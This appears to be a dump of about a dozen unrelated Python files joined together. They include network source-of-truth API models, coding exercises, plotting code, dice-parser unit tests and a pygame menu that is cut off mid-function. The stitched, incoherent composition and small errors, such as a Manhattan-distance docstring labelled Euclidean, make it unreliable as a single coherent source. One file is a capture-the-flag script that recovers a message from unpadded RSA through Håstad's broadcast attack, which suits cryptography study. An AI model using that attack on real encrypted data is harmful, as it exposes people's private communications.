# -*- coding: utf-8 -*-

'''API Model Classes

These resource models are derrived from collections.MutableMapping and, thus,
act like dicts and can instantiate with raw resource output from API as well as
simplifying by providing site_id and (usually) the natural key (cidr, hostname,
etc).

Example
-------

>>> from pynsot.models import Network, Device, Interface
>>> from pynsot.client import get_api_client
>>> client = get_api_client()
>>> net = Network(raw=client.networks.get()[-1])
>>>
>>> # Or also...
>>> # >>> net = Network(client=client, site_id=1, cidr='8.8.8.0/24')
>>>
>>> net.exists()
>>> True
>>>
>>> net.existing_resource()
{u'attributes': {},
 u'id': 81,
 u'ip_version': u'4',
 u'is_ip': False,
 u'network_address': u'254.0.0.0',
 u'parent_id': 1,
 u'prefix_length': 24,
 u'site_id': 1,
 u'state': u'allocated'}
>>>
>>> net.purge()
True
>>>
>>> net.exists()
False
>>>
>>> net.ensure()
True
>>>
>>> net.exists()
True
>>>
>>> net['site_id']
2
>>>
>>> net['site_id'] = 4
>>>
>>> net.exists()
False
>>>
>>> net['site_id'] = 2
>>>
>>> net.exists()
True
'''

from __future__ import unicode_literals
from __future__ import absolute_import
import logging
import collections
from abc import abstractproperty, abstractmethod, ABCMeta
from netaddr import IPNetwork
from pynsot.util import get_result
from pynsot.client import get_api_client
import six

class Resource(six.with_metaclass(ABCMeta, collections.MutableMapping)):
    '''Base API Abstraction Models Class

    Instances of an API abstraction model represent a single NSoT resource and
    provide methods for managing the state of it upstream. They can be
    instantiated by the raw returned object from NSoT API or more simply by a
    few descriptive kwargs.

    Resource is a subclass of :class:``collections.MutableMapping`` which makes
    it act as a dictionary would. The mapping represents the payload that would
    be accepted by NSoT and can be manipulated as desired like a normal dict.

    Subclassing:
        Subclasses must adhere to a simple contract:
            * Overload the abstractmethods and abstractproperties this class
              uses
            * If custom arguments are needed, overload ``self.postinit``.
              Just make sure to call ``self.init_payload()`` at the end. All
              kwargs that aren't handled by ``self.__init__`` are passed here

    :param site_id: Site ID this reseource belongs to. Required unless ``raw``
        is supplied.
    :type site_id: int
    :param attributes: Attributes to add to resource. If supplying ``raw``, add
        these after the instantiation like:

            >>> obj = Device(raw=RAW_API_DICT)
            >>> obj['attributes'] = {}

    :type attributes: dict
    :param client: Pynsot client for API interactions. Will be lazily loaded if
        not provided, but might be cheaper to supply it up front.
    :type client: pynsot.client.BaseClient
    :param raw: Raw NSoT resource object. What would be returned from a GET,
        POST, PUT, or PATCH operation for a single resource. Gets mapped
        directly to payload
    :type raw: dict
    '''

    def __init__(
        self,
        site_id=None,
        client=None,
        raw=None,
        attributes=None,
        **kwargs
    ):
        if raw is None:
            raw = {}
        if attributes is None:
            attributes = {}

        self.logger = logging.getLogger(__name__)
        self.errors = []
        self.last_error = None
        # Placeholder for .existing_resource() state
        self._existing_resource = {}
        self._payload = {}
        # Parameter validations

        # Site ID is required but can come from either kwarg or raw resource
        # dict, latter being preferred.
        if raw.get('site_id'):
            site_id = raw['site_id']
        elif site_id:
            pass  # Already set
        else:
            raise TypeError(
                'Resource requires site_id via param or ``raw`` key'
            )

        self._site_id = site_id
        self.client = client
        self.raw = raw
        self.attributes = attributes

        if not self.raw:
            self.postinit(**kwargs)
        else:
            # This is done here because subclases do this in their postinit().
            # If raw is passed, there's no reason to go through the postinit
            # process which takes things like network_address, hostname, etc.
            #
            # Every subclasses init_payload method has a condition for 'if raw
            # set raw' basically.
            self.init_payload()

    def postinit(self, **kwargs):
        '''Overloadable method for post __init__

        Use this for things that need to happen post-init, including
        subclass-specific argument handling.

        This method is called at the very end of __init__ unless ``raw`` is
        given.

        :params kwargs: All unhandled kwargs from __init__ are passed here
        :type kwargs: dict
        '''
        # If not being overloaded by subclass, still need to call this required
        # method if ``raw`` isn't provided
        self.init_payload()
        pass

    def ensure_client(self, **kwargs):
        '''Ensure that object has a client object

        Client may be passed during __init__ as a kwarg, but call this before
        doing any client work to ensure

        :param kwargs: These will be passed to get_api_client.
        :type kwargs: dict
        '''
        if self.client:
            return
        else:
            self.client = get_api_client(**kwargs)

    @abstractproperty
    def identifier(self):
        '''Human-friendly string to represent the resource

        Used in log messages and magic methods for comparison. Examples here
        would be CIDR, hostname, etc

        :rtype: str
        '''
        pass

    @property
    def resource(self):
        '''Pynsot client for resource type

        :rtype: pynsot.client.BaseClient
        '''
        self.ensure_client()
        return getattr(self.client, self.resource_name)

    @abstractproperty
    def resource_name(self):
        '''Name of resource

        Must be plural

        :rtype: str
        '''
        pass

    @abstractmethod
    def init_payload(self):
        '''
        Initializes the payload dictionary using resource specific data
        '''
        pass

    @property
    def payload(self):
        '''Represents exact payload sent to NSoT server

        :returns: _payload
        :rtype: dict
        '''
        return self._payload

    @payload.setter
    def payload(self, value):
        '''Setter for payload'''
        self._payload = value

    def __iter__(self):
        '''Iterate through payload keys'''
        return iter(self.payload)

    def __getitem__(self, key):
        '''Get item from payload'''
        return self.payload[key]

    def __setitem__(self, key, value):
        '''Set item in payload

        Cache is cleared here since the current resource has changed
        '''
        self.clear_cache()
        self.payload[key] = value

    def __delitem__(self, key):
        '''Delete item from payload

        Cache is cleared here since the current resource has changed
        '''
        self.clear_cache()
        del self.payload[key]

    def __len__(self):
        return len(self._payload)

    def __repr__(self):
        '''Human-friendly representation'''
        title = self.resource_name[:-1].title()
        return '<%s: %s>' % (title, str(self))

    def __str__(self):
        return str(self.identifier)

    def __eq__(self, other):
        '''Using ``identifier`` and ``site_id``, compare to another resource'''
        try:
            x = '%s:%s' % (self.identifier, self._site_id)
            y = '%s:%s' % (other.identifier, other._site_id)
            return x == y
        except Exception:
            raise TypeError('Other object is not a Resource type')

    def log_error(self, error):
        '''Log and append errors to object

        This does a check to see if response object available from HTTP
        request. If not, that's OK too and it'll just append the raw error.
        '''
        if hasattr(error, 'response') and hasattr(error.response, 'json'):
            try:
                meta = error.response.json()
            except Exception:
                meta = error.response
        else:
            meta = error

        self.logger.debug(
            '[%s] %s' % (self.identifier, meta),
            exc_info=True,
        )
        self.logger.warning(
            '[%s] %s' % (self.identifier, meta),
        )
        self.errors.append(meta)
        self.last_error = meta

    def existing_resource(self):
        '''Returns upstream resource

        If nothing exists, empty dict is returned. The result of this is cached
        in a property (_existing_resource) for cheaper re-checks. This can be
        cleared via ``.clear_cache()``

        :rtype: dict
        '''
        self.ensure_client()
        if self._existing_resource:
            return self._existing_resource
        else:
            cur = dict(self)
            cur.pop('attributes', None)
            # We pop attributes because the query fails leaving them in
            try:
                # Site client of resource type because NSoT doesn't support
                # passing site_id as a query parameter
                site = getattr(
                    self.client.sites(self['site_id']),
                    self.resource_name,
                )
                lookup = get_result(site.get(**cur))
            except Exception as e:
                self.log_error(e)
                # There might be a better way to do this. If the NSoT server is
                # unreachable or otherwise the lookup fails it'll log properly
                # and return as if nothing exists. If the resource actually
                # exists but due to reachability it couldn't confirm some
                # action may be unnecessarily took user-side.
                #
                # Honestly, though, I think this is a decent trade-off
                self._existing_resource = {}
                return self._existing_resource

            existing = len(lookup) > 0
            if existing:
                # This is where state will be kept for this
                self._existing_resource = lookup[0]
                return self._existing_resource
            else:
                self._existing_resource = {}
                return self._existing_resource

    def clear_cache(self):
        '''Clears state of certain properties

        This is ideally done during a write operation against the API, such as
        ``.purge()`` or ``.ensure()``. Helps prevent representing out-of-date
        information
        '''
        self._existing_resource = {}

    def exists(self):
        '''Does the current resource exist?

        :rtype: bool
        '''
        return bool(self.existing_resource())

    def ensure(self):
        '''Ensure object in current state exists in NSoT

        By site, make sure resource exists. True if it is or was able to get to
        the desired state, False if not and logged in ``last_error``.

        Having this operation be done individually for each resource
        has some pros and cons. Generally as long as the amount of items
        is small enough, it's not a huge difference but it is an extra
        HTTP request.

        Sending in bulk halts at the first error and fails the following
        so it requires more handling.

        Cache is cleared first thing and before return.

        :rtype: bool
        '''
        self.clear_cache()
        to_ensure = dict(self)

        try:
            # PATCH instead of POST
            if self.exists() and self.resource_name != 'interfaces':
                self.logger.debug('[%s] Patching', self.identifier)
                to_ensure['id'] = self.existing_resource()['id']
                self.resource.patch([to_ensure])
                self.logger.info('[%s] has been patched!', self.identifier)
                self.clear_cache()
                return True

            else:  # POST for initially creating
                self.logger.debug('[%s] Creating', self.identifier)
                self.resource.post([to_ensure])
                self.logger.info('[%s] has been created!', self.identifier)
                return True
        except Exception as e:
            self.log_error(e)
            self.clear_cache()
            return False

    def purge(self):
        '''Ensure resource doesn't exist upstream

        By site, make sure resource is deleted. True if it is or was able to
        get to the desired state, False if not and logged in ``last_error``.

        Cache is cleared first thing and before return.

        :rtype: bool
        '''
        self.clear_cache()
        try:
            if self.exists():
                self.logger.debug('[%s] Deleting', self.identifier)
                id_ = self.existing_resource()['id']
                self.resource(id_).delete()
                self.logger.info('[%s] has been deleted!', self.identifier)
                self.clear_cache()
                return True

            else:
                # We should return True to show the state is already how we
                # want it to be. False should be for unable to ensure resource
                # is gone
                return True
        except Exception as e:
            self.log_error(e)
            self.clear_cache()
            return False

class Network(Resource):
    '''Network API Abstraction Model

    Subclass of Resource.

    >>> n = Network(cidr='8.8.8.0/24', site_id=1)
    >>> n.exists()
    False
    >>> n.ensure()
    True
    >>> n.exists()
    True
    >>> n.existing_resource()
    {u'attributes': {},
     u'id': 31,
     u'ip_version': u'4',
     u'is_ip': True,
     u'network_address': u'8.8.8.0',
     u'parent_id': 1,
     u'prefix_length': 24,
     u'site_id': 1,
     u'state': u'assigned'}
    >>>
    >>> n.purge()
    True
    >>> n.exists()
    False
    >>> n.closest_parent()
    <Network: 8.8.0.0/16>

    :param cidr: CIDR for network
    '''

    def postinit(self, cidr=None):
        if not any([cidr, self.raw]):
            raise TypeError('Networks require a cidr')
        net = IPNetwork(cidr)

        ver = net.version
        self.network_address = str(net.network)
        self.prefix_length = int(net.prefixlen)
        self.is_host = ver == 4 and net.prefixlen == 32 or net.prefixlen == 128
        self.init_payload()

    @property
    def identifier(self):
        return '%s/%d' % (self['network_address'], self['prefix_length'])

    @property
    def resource_name(self):
        return 'networks'

    def init_payload(self):
        '''This will init the payload property'''
        if self.raw:
            self.payload = self.raw
            return

        self.payload = {
            'is_ip': self.is_host,
            'network_address': self.network_address,
            'prefix_length': self.prefix_length,
            'state': self.is_host and 'assigned' or 'allocated',
            'site_id': self._site_id,
            'attributes': self.attributes,
        }

    def closest_parent(self):
        '''Returns resource object of the closest parent network

        Empty dictionary if no parent network

        :returns: Parent resource
        :rtype: pynsot.models.Network or dict
        '''
        self.ensure_client()
        site = getattr(self.client.sites(self['site_id']), self.resource_name)
        cidr = '%s/%s' % (self['network_address'], self['prefix_length'])
        try:
            lookup = get_result(site(cidr).closest_parent.get())
            return Network(raw=lookup)
        except Exception as e:
            self.log_error(e)
            return {}

    def __len__(self):
        return self['prefix_length']

class Device(Resource):
    '''Device Resource

    Subclass of Resource.

    >>> dev = Device(hostname='router1-nyc', site_id=1)
    >>> dev.exists()
    False
    >>>
    >>> dev.ensure()
    True
    >>>
    >>> dev.existing_resource()
    {u'attributes': {}, u'hostname': u'router1-nyc', u'id': 1, u'site_id': 1}
    >>> dev.purge()
    True
    >>>
    >>> dev.exists()
    False

    :param hostname: Device hostname
    '''

    def postinit(self, hostname=None):
        if not any([hostname, self.raw]):
            raise TypeError('Devices require a hostname')
        self.hostname = hostname
        self.init_payload()

    @property
    def identifier(self):
        return self.hostname

    @property
    def resource_name(self):
        return 'devices'

    def init_payload(self):
        if self.raw:
            self.payload = self.raw
            return

        self.payload = {
            'hostname': self.hostname,
            'site_id': self._site_id,
            'attributes': self.attributes,
        }

class Interface(Resource):
    '''Interface Resource

    Subclass of Resource

    :param addresses: Addresses on interface
    :type addresses: list
    :param description: Interface description
    :param device: Required, device interface is on. TODO: broken as currently
        implemented but will soon reflect the following type
    :type device: pynsot.models.Device
    :param type: Interface type as described by SNMP IF-TYPE's
    :type type: int
    :param mac_address: MAC of interface
    :param name: Required, name of interface
    :param parent_id: ID of parent interface
    :type parent_id: int
    :param speed: Speed of interface
    :type speed: int
    '''

    def postinit(self, **kwargs):
        self.addresses = kwargs.get('addresses') or []
        self.description = kwargs.get('description') or ''
        self.device = kwargs.get('device') or 0
        self._original_device = kwargs.get('device') or None
        self.type = kwargs.get('type') or 6
        self.mac_address = kwargs.get('mac_address') or '00:00:00:00:00:00'
        self.name = kwargs.get('name') or None
        self.parent_id = kwargs.get('parent_id') or None
        self.speed = kwargs.get('speed') or 1000

        if not all([self.name, self.device]) or self.raw:
            raise TypeError('Interfaces require both a name and device!')

        self.attempt_device()
        self.init_payload()

    def attempt_device(self):
        '''Attempt to set ``device`` attribute to its ID if hostname was given

        If an ID was provided during init, this happens in init. If a hostname
        was provided, we need to take care of a couple things.

        1. Attempt to fetch ID for existing device by the hostname. If this
           works, use this ID

        2. Should #1 fail, set device id to 0 to signify this device doesn't
           exist yet, hoping this method will be called again when it's time to
           create. The thought here is if a user is instantiating lots of
           resources at the same time, there's a chance the device this relates
           to is going to be created before this one actually gets called upon.

           0 is used instead of a more descriptive message because should the
           device still not exist when executing this, at least a device
           doesn't exist error would be returned instead of expecting int not
           str.
        '''

        rerun = isinstance(self._original_device, str) and self.device == 0
        first_run = isinstance(self.device, str)
        # If equal to 0, means it had failed before
        if rerun or first_run:
            d = Device(
                client=self.client,
                site_id=self._site_id,
                hostname=self._original_device,
            )
            if d.exists():
                self.device = d.existing_resource()['id']
                return True
            else:
                self.device = 0
                return False

    @property
    def identifier(self):
        return '%s on %s' % (self.name, self.device)

    @property
    def resource_name(self):
        return 'interfaces'

    def init_payload(self):
        if self.raw:
            self.payload = self.raw
            return

        # TODO: This currently will only work on init and not later since
        # init_payload is only called once. This is left over from when it was
        # just payload
        #
        # attempt_device should instead set self.payload['device'] directly
        self.attempt_device()
        self.payload = {
            'addresses': self.addresses,
            'description': self.description,
            'device': self.device,
            'type': self.type,
            'mac_address': self.mac_address,
            'name': self.name,
            'parent_id': self.parent_id,
            'speed': self.speed,
            'attributes': self.attributes,
            'site_id': self._site_id,
        }


class twoSum:
    def Solution(self, nums, target):
        hashmap ={}
        for index, num in enumerate(nums):
            targetNum = target - num
            if hashmap.__contains__(targetNum):
                return [ hashmap[targetNum], index]
            hashmap[num] = index
        return []

arr = [5, 5, 11, 15]
target = 10
twoSum = twoSum()
result = twoSum.Solution(arr, target)
print(result)


#---
def plotUAVroute(df,plt):
    ## - Plot the Robot Position

    fig, axs = plt.subplots(3, sharex=True)

    fig.suptitle("Robot Position")

    # ---------- x
    axs[0].plot(df['time'], df['A.pPosXd[0]'])
    axs[0].plot(df['time'], df['A.pPosX[0]'], color='red')

    axs[0].set(ylabel='$\widetilde{x}~$ [m]')
    axs[0].legend(['$x_d$','$x$'],loc='upper right', bbox_to_anchor=(1.15, 1))
    axs[0].grid(True)
    axs[0].set_yticks([-2.0,-1.0,0,1.0,2.0])
    axs[0].set(xlim=(min(df['time']), max(df['time'])),
          ylim=(min(df['A.pPosX[0]'])-0.25, max(df['A.pPosX[0]'])+0.25))

    # ---------- y
    axs[1].plot(df['time'], df['Xd[1]'])
    axs[1].plot(df['time'], df['X[1]'], color='red')

    axs[1].set(ylabel='$\widetilde{y}~$ [m]')
    axs[1].legend(['$y_d$','$y$'],loc='upper right', bbox_to_anchor=(1.15, 1))
    axs[1].grid(True)
    axs[1].set(xlim=(min(df['time']), max(df['time'])),
          ylim=(min(df['X[1]'])-0.25, max(df['X[1]'])+0.25))

    # ---------- z
    axs[2].plot(df['time'], df['Xd[2]'])
    axs[2].plot(df['time'], df['X[2]'], color='red')

    axs[2].set(xlabel='time [$s$]', ylabel='$\widetilde{z}~$ [m]')
    axs[2].legend(['$z_d$','$z$'],loc='upper right', bbox_to_anchor=(1.15, 1))
    axs[2].grid(True)
    axs[2].set_yticks([-2.0,-1.0,0,1.0,2.0])
    axs[2].set(xlim=(min(df['time']), max(df['time'])),
          ylim=(min(df['X[2]'])-0.25, max(df['X[2]'])+0.25))

    Fig = plt.gcf()

    plt.show()

    # the axes attributes need to be set before the call to subplot
    plt.rcParams.update({
        "grid.color": "0.5",
        "grid.linestyle": "--",
        "grid.linewidth": 0.25,
        "lines.linewidth": 1,
        "lines.color": "g"})

    plt.rcParams.update({
        "text.usetex": True,
        "font.family": "sans-serif",
        "font.sans-serif": ["Helvetica"]})

    # set font of all elements to size 15
    plt.rcParams['figure.figsize'] = (10,8)
    plt.rc('font', size=22)
    plt.rc('axes', titlesize=25)

    plt.rc('text', usetex=True)
    plt.rc('font', family='serif')

    print('\n')
    plt.show()

    return fig


from otree.api import (
    models,
    widgets,
    BaseConstants,
    BaseSubsession,
    BaseGroup,
    BasePlayer,
    Currency as c,
    currency_range,
)

import random

author = 'Christian König gen. Kersting'

doc = """
Slider Puzzle game. Two players move sequentially.
"""

class Constants(BaseConstants):
    name_in_url = 'slider_puzzle'
    players_per_group = 2
    num_rounds = 1

class Subsession(BaseSubsession):
    def creating_session(self):
        for group in self.get_groups():
            group.set_starting_player()

class Group(BaseGroup):
    puzzle_solved = models.BooleanField(initial=False)
    starting_player = models.IntegerField()
    move_history = models.LongStringField()

    def set_starting_player(self):
        self.starting_player = random.choice([player.id_in_group for player in self.get_players()])

class Player(BasePlayer):
    pass


"""
Take the code from the How To Decode A Website exercise
(if you didn’t do it or just want to play with some different code,
use the code from the solution), and instead of printing the results
to a screen, write the results to a txt file. In your code, just make
up a name for the file you are saving to.

Extras:

Ask the user to specify the name of the output file that will be saved.
"""

import requests
import bs4
import textwrap

url = 'https://en.wikipedia.org/wiki/Spider-Man'
res = requests.get(url)
res.raise_for_status()
soup = bs4.BeautifulSoup(res.text, 'html.parser')

elems = soup.findAll(id='bodyContent')

for elem in range(len(elems)):
    elem_list = textwrap.wrap(elems[elem].getText(), 80)

name = input('What do you want to name your text file?\n')

with open(name, 'wb') as f:
    elem_string = '\n'.join(str(x) for x in elem_list)
    f.write(elem_string.encode('utf-8'))


"""
Each time I asked for the flag, it gets encoded through RSA. I'm lucky I kept all those values.

See https://www.quaxio.com/exploring_three_weaknesses_in_rsa/
https://rdist.root.org/2009/10/06/why-rsa-encryption-padding-is-critical/
"""

import auxilliary2

### process file

FILENAME = 'out.txt'

count = 0
triplet = {}
triplets = []
with open(FILENAME, 'r') as f:
    for line in f:
        if line != ' \n':
            tmp = line.split(' ')
            triplet[tmp[0]] = int(tmp[2])
        else:
            triplets.append(triplet)
            triplet = {}

### verify

for triplet in triplets:
    if len(triplet) != 3 or 'c' not in triplet or 'e' not in triplet or 'n' not in triplet:
        print('>> error!')

### analysis

# extract patterns

ns = []
cs = []

for triplet in triplets:
    ns.append(triplet['n'])
    cs.append(triplet['c'])

e = triplet['e']

# perform CRT

print(">> calculating CRT")

crt = auxilliary2.chinese_remainder(ns[:e], cs[:e])

print(">> calculating i-th root")

r = auxilliary2.nthroot(e, crt)

print(">> converting to string")

sol = auxilliary2.I2OSP(r)

print(">> flag is %s" % sol)


import math

def euclidean_distance(a, b):
    """
    Calculates the Euclidean distance between two points in 2D space.
    :param a: A tuple representing the first point (x1, y1).
    :param b: A tuple representing the second point (x2, y2).
    :return: The Euclidean distance between the two points.
    """
    x1, y1 = a
    x2, y2 = b
    return math.sqrt((x2 - x1) ** 2 + (y2 - y1) ** 2)

def manhattan_distance(a, b):
    """
    Calculates the Manhattan distance between two points in 2D space.
    :param a: A tuple representing the first point (x1, y1).
    :param b: A tuple representing the second point (x2, y2).
    :return: The Euclidean distance between the two points.
    """
    x1, y1 = a
    x2, y2 = b
    return abs(x2 - x1) + abs(y2 - y1)

def get_closest_food(head_coords, foods):
    tmp = set()

    for f in foods:
        tmp.add((euclidean_distance(a=head_coords, b=f), f))

    return min(tmp, key=lambda x: x[0])[1]

def distance_reward_function(snake_coords, food_coords, choice, init_snake_length):

    if len(food_coords) > 1:
        food = get_closest_food(head_coords=choice, foods=food_coords)
    else:
        food = tuple(food_coords)[0]

    dis = manhattan_distance(a=choice, b=food)

    return (1 / (0.5 * dis + 1)) * (init_snake_length / len(snake_coords))

REWARDS = {
    'FOOD': lambda score, max_score: math.e ** (1 + score / max_score),
    'GAME_OVER': -math.e ** 2,
    'ELSE': distance_reward_function,
    'TIMEOUT': -1
}


#Print list in some pattern lis=[1,2,3,[4,5,6]]
#1
#2
#3
# 4
# 5
# 6

def nestedlist(l,n):
    for i in l:
        if type(i)==type(0):
            print(n,end="")
            print(i)
        else:
            nestedlist(i,n+" ")

lis=[1,2,3,4,5,[6,7,8],9,10]
nestedlist(lis,"")


#add a new employee to the json file

import json

with open('json_file.json','r+') as file:
	d = json.loads(file.read())
	d['employees'].append(dict(firstName ='Bharath',lastName ='Kandula'))
	file.seek(0)
	json.dump(d,file,indent=4,sort_keys=True)
	file.truncate()


total = menor = totmil = cont = 0
barato = ' '
print('''
  ----=================----
      LOJA HYPE DESCONTÃO
  ----=================----
''')
while True:
    print('{:-^40}'.format(' CADASTRE PRODUTOS '))
    produto = str(input("- Nome produto:> "))
    preco = float(input("- Preço: R$ "))
    cont += 1
    total += preco

    if preco > 1000:
        totmil += 1
    if cont == 1 or preco < menor:
        menor = preco
        barato = produto

    resp = ' '
    while resp not in 'SN':
        resp = str(input("Tem mais produto [S/N]?  ")).strip().upper()[0]
    if resp == 'N':
        break
print('{:-^40}'.format(' FIM DO PROGRAMA '))
print(f'#   Valor total da compra: R$ {total:.2f}')
print(f'#   Temos {totmil} produtos custando mais de R$ 1.000,00')
print(f'#   O produto mais barato foi {barato} custando R$ {menor:.2f}')
print("-" * 40)

Curso de Python e outros/Exercicios Python Mundo 2 e 3/exercios-loops/ex19/ex19.py


import random
from unittest import TestCase

import numpy

from Processor.DiceProcessor import DiceProcessor

class TestDiceProcessor(TestCase):
    def setUp(self) -> None:
        self.p = DiceProcessor(10)
        numpy.random.seed(0)

    def test_dice(self):
        self.assertEqual(self.p.dice("3").amount, 3)

        dice = self.p.dice("99d7").roll()
        self.assertEqual(dice.amount, 99)
        self.assertEqual(dice.max, 7)

        dice = self.p.dice("-")
        self.assertEqual(99, dice.amount)

        inter = self.p.process("[3,2]l")
        self.assertEqual(list(inter.dice.r), [3, 2])
        self.assertEqual(inter.function, "min")

        inter = self.p.process("113d04f9")
        self.assertEqual(inter.dice.amount, 113)
        self.assertEqual(inter.dice.max, 4)
        self.assertEqual(inter.function, "f9")

        inter = self.p.process("999d77777e3000!!")
        self.assertEqual(999, inter.dice.amount)
        self.assertEqual(inter.dice.max, 77777)
        self.assertEqual(inter.function, "e3000")
        self.assertEqual(inter.dice.explode, 2)

    def test_process(self):
        self.assertGreaterEqual(self.p.process("3d10h").result, 1)
        self.assertLessEqual(self.p.process("3d10h").result, 10)

    def test_literal(self):
        self.assertLessEqual(self.p.process("[2,99,4]h").result, 99)
        self.assertGreaterEqual(self.p.process("-l").result, 2)

    def test_return_funs(self):
        for roll, exp, ret in [
            ("6g", 27, "sum"),
            ("6h", 7, "max"),
            ("6=", 6, "id"),
            ("6l", 2, "min"),
            ("6~", None, "none"),
            ("1,2@6", 5, "1,2@"),
            ("6,2@6", 10, "6,2@"),
        ]:
            d = DiceProcessor(10, {"returnfun": "sum"}).process(roll)
            d.dice.r = [2, 3, 4, 5, 6, 7]
            self.assertEqual(ret, d.function, roll)
            self.assertEqual(10, d.dice.max, roll + " sides")
            self.assertEqual(exp, d.result, roll)

    def test_parenthesis_roll(self):
        self.assertIn(self.p.process("4(3) d1g").result, range(1, 70))

    def test_altrolls(self):
        p = DiceProcessor(1)
        p.process("(2g)g")
        p.process("1(2g)g")
        p.process("1(2g)(3(4g)g)g")
        for r in p.context.lastrolls:
            self.assertIn("==>", r.roll_v())

    def test_postmath(self):
        self.p.context.replacements["returnfun"] = "id"
        self.assertEqual(
            self.p.process("(100d1g)-3").result,
            97,
            "100d1g -3 should be 97",
        )

    def test_premath(self):
        self.assertEqual(self.p.process("5+3^2/2-3=").result, 6)  # rounds down
        self.assertEqual(self.p.process("(5+3^2/2-3=)*10+4=").result, 64)  # rounds down

    def test_default(self):
        p = DiceProcessor(17, {"returnfun": "max"})
        r = p.process("9")
        self.assertIn(int(r), range(10, 9 * 17 + 1))
        interpreter = p.process("9f7").roll()
        interpreter.dice.r = list(range(1, 10))
        self.assertEqual(int(interpreter), 2)
        interpreter = p.process("9e7").roll()
        interpreter.dice.r = list(range(1, 10))
        self.assertEqual(int(interpreter), 3)

    def test_nested(self):
        self.p.process("5d(5d(5d10))")

    def test_negative_sorted_reroll(self):
        self.p.process("5d10r-2s")

    def test_parseadd(self):
        a = ["4", "3", "9", "+", "1", "1", "-1"]
        self.assertEqual(17, self.p.subprocess(" ".join(a)))

    def test_resolvedefine(self):
        p = DiceProcessor(
            10,
            {
                "ah": "be ce De",
                "be": "ee fe",
                "ce": "3",
                "De": "1",
                "ee": "9",
                "fe": "10",
            },
        )
        r = p.process("ah d1g")
        self.assertEqual(r.name, "23sum")

    def test_parenthesis_resolution(self):
        r = self.p.process("(10=)*4+10=")
        self.assertEqual(r.result, 50)

    def test_whitespacing(self):
        p = DiceProcessor(10, {"b": "3", "a": "2"})  # no defaults
        r = p.process(" a   ,   b   @   5  d    10")
        self.assertEqual("2,3@", r.function)
        self.assertEqual("2,3@5d10", r.name)
        self.assertIn(r.result, range(2, 20))

    def test_recursion(self):
        p = DiceProcessor(10, {"a": "b.a", "b": "3"})
        self.assertRaises(Exception, p.process, "a,b@5d10", 0)

    def test_explosion(self):
        random.seed(0)
        i = 0
        for i in range(1000):
            if len(self.p.process("100!").roll().dice.r) > 100:
                break
        self.assertLess(i, 999, "in 1000 exploded rolls, not one exploded!")

    def test_selection_sum(self):
        for _ in range(100):
            result = self.p.process("10@12d10").result
            self.assertTrue(
                result <= 10,
                "singular selector should not produce "
                f"a higher value than dice sidedness {self.p.context.lastrolls[-1].dice.r}",
            )

    def test_selection_0(self):
        for _ in range(10):
            self.assertTrue(
                self.p.process("0@12d6").result == 0,
                f"0 selector should result in 0 {self.p.context.lastrolls[-1].dice.r}",
            )
            self.assertTrue(
                self.p.process("-2@12d6").result == 0,
                f"-2 selector should result in 0 {self.p.context.lastrolls[-1].dice.r}",
            )

    def test_negative_dice(self):
        self.assertTrue(
            self.p.process("-6d6g").result < 0,
            f"negative dice, negative result {self.p.context.lastrolls[-1].dice.r}, {self.p.context.lastrolls[-1].result}",
        )

    def test_selection(self):
        r = self.p.process("99,99@20s!!")
        self.assertIn(r.result, range(2, 21))

    def test_rerolls(self):
        self.assertEqual(4, self.p.process("1@[1,2,3,4,5,6,7,8]r3s").result)
        r = self.p.process("1,1@5r95s")
        self.assertGreater(r.result, 3)

    def test_repeatrolls(self):
        a = self.p.process("2,3@5").roll()
        b = self.p.process("2,3@-r-1000").roll()
        self.assertGreater(a.result, b.result)

    def test_sort(self):
        r = self.p.process("33d100s")
        self.assertEqual(list(r.dice.r), list(sorted(r.dice.r)))

    def test_project(self):
        self.assertLess(int(self.p.process("1 10")), 10)


import pygame
from pygame.locals import *
import sys
import random
import time

# Initialize Pygame
pygame.init()

# Set up the window
window_width = 800
window_height = 600
window = pygame.display.set_mode((window_width, window_height))
pygame.display.set_caption('Snake Game')

# Set up the colors
black = (0, 0, 0)
white = (255, 255, 255)

# Set up the font
font = pygame.font.Font(None, 32)

# Function to display the main screen
def main_screen():
    username = ''
    class_name = ''
    username_input_active = False
    class_input_active = False

    cursor_blink_timer = 0
    cursor_visible = True

    while True:
        for event in pygame.event.get():
            if event.type == QUIT:
                pygame.quit()
                sys.exit()
            elif event.type == KEYDOWN:
                if event.key == K_BACKSPACE:
                    if username_input_active and len(username) > 0:
                        username = username[:-1]
                    elif class_input_active and len(class_name) > 0:
                        class_name = class_name[:-1]
                elif event.key == K_TAB:
                    if username_input_active and len(username) > 0:
                        username += '\t'
                    elif class_input_active and len(class_name) > 0:
                        class_name += '\t'
                elif event.key == K_RETURN:
                    if len(username) > 0:
                        return username, class_name
                else:
                    if username_input_active:
                        username += event.unicode
                    elif class_input_active:
                        class_name += event.unicode
            elif event.type == MOUSEBUTTONDOWN:
                if event.button == 1:
                    username_input_active = pygame.Rect(window_width // 2 + 5, window_height // 2 - 95, 200, 30).collidepoint(event.pos)
                    class_input_active = pygame.Rect(window_width // 2 + 5, window_height // 2 + 5, 200, 30).collidepoint(event.pos)
                    start_button = pygame.Rect(window_width // 2 - 75, window_height // 2 + 150, 150, 50)
                    if start_button.collidepoint(event.pos):
                        start_game()
                else:
                    username_input_active = False
                    class_input_active = False

        draw_main_screen(username, class_name, username_input_active, class_input_active, cursor_visible)

        # Toggle cursor visibility every 0.5 seconds
        cursor_blink_timer += 1
        if cursor_blink_timer >= 700:
            cursor_visible = not cursor_visible
            cursor_blink_timer = 0

# Function to draw the main screen
def draw_main_screen(username, class_name, username_input_active, class_input_active, cursor_visible):
    window.fill(black)

    # Render the text
    username_text = font.render('Username:', True, white)
    class_text = font.render('Class:', True, white)
    username_input = font.render(username, True, white)
    class_input = font.render(class_name, True, white)
    prompt_text = font.render('Press Enter to Start', True, white)

    # Display the text on the screen
    window.blit(username_text, (window_width // 2 - 100, window_height // 2 - 100))
    window.blit(class_text, (window_width // 2 - 100, window_height // 2))
    pygame.draw.rect(window, white, (window_width // 2 + 100, window_height // 2 - 100, 200, 30), 2)
    pygame.draw.rect(window, white, (window_width // 2 + 100, window_height // 2 + 5, 200, 30), 2)
    window.blit(username_input, (window_width // 2 + 105, window_height // 2 - 95))
    window.blit(class_input, (window_width // 2 + 105, window_height // 2 + 5))
    window.blit(prompt_text, (window_width // 2 - 150, window_height // 2 + 100))

    # Draw the cursor in the active input box
    if username_input_active and cursor_visible:
        cursor_pos_x = window_width // 2 + 105 + username_input.get_width()
        pygame.draw.line(window, white, (cursor_pos_x, window_height // 2 - 95), (cursor_pos_x, window_height // 2 - 75), 2)
    elif class_input_active and cursor_visible:
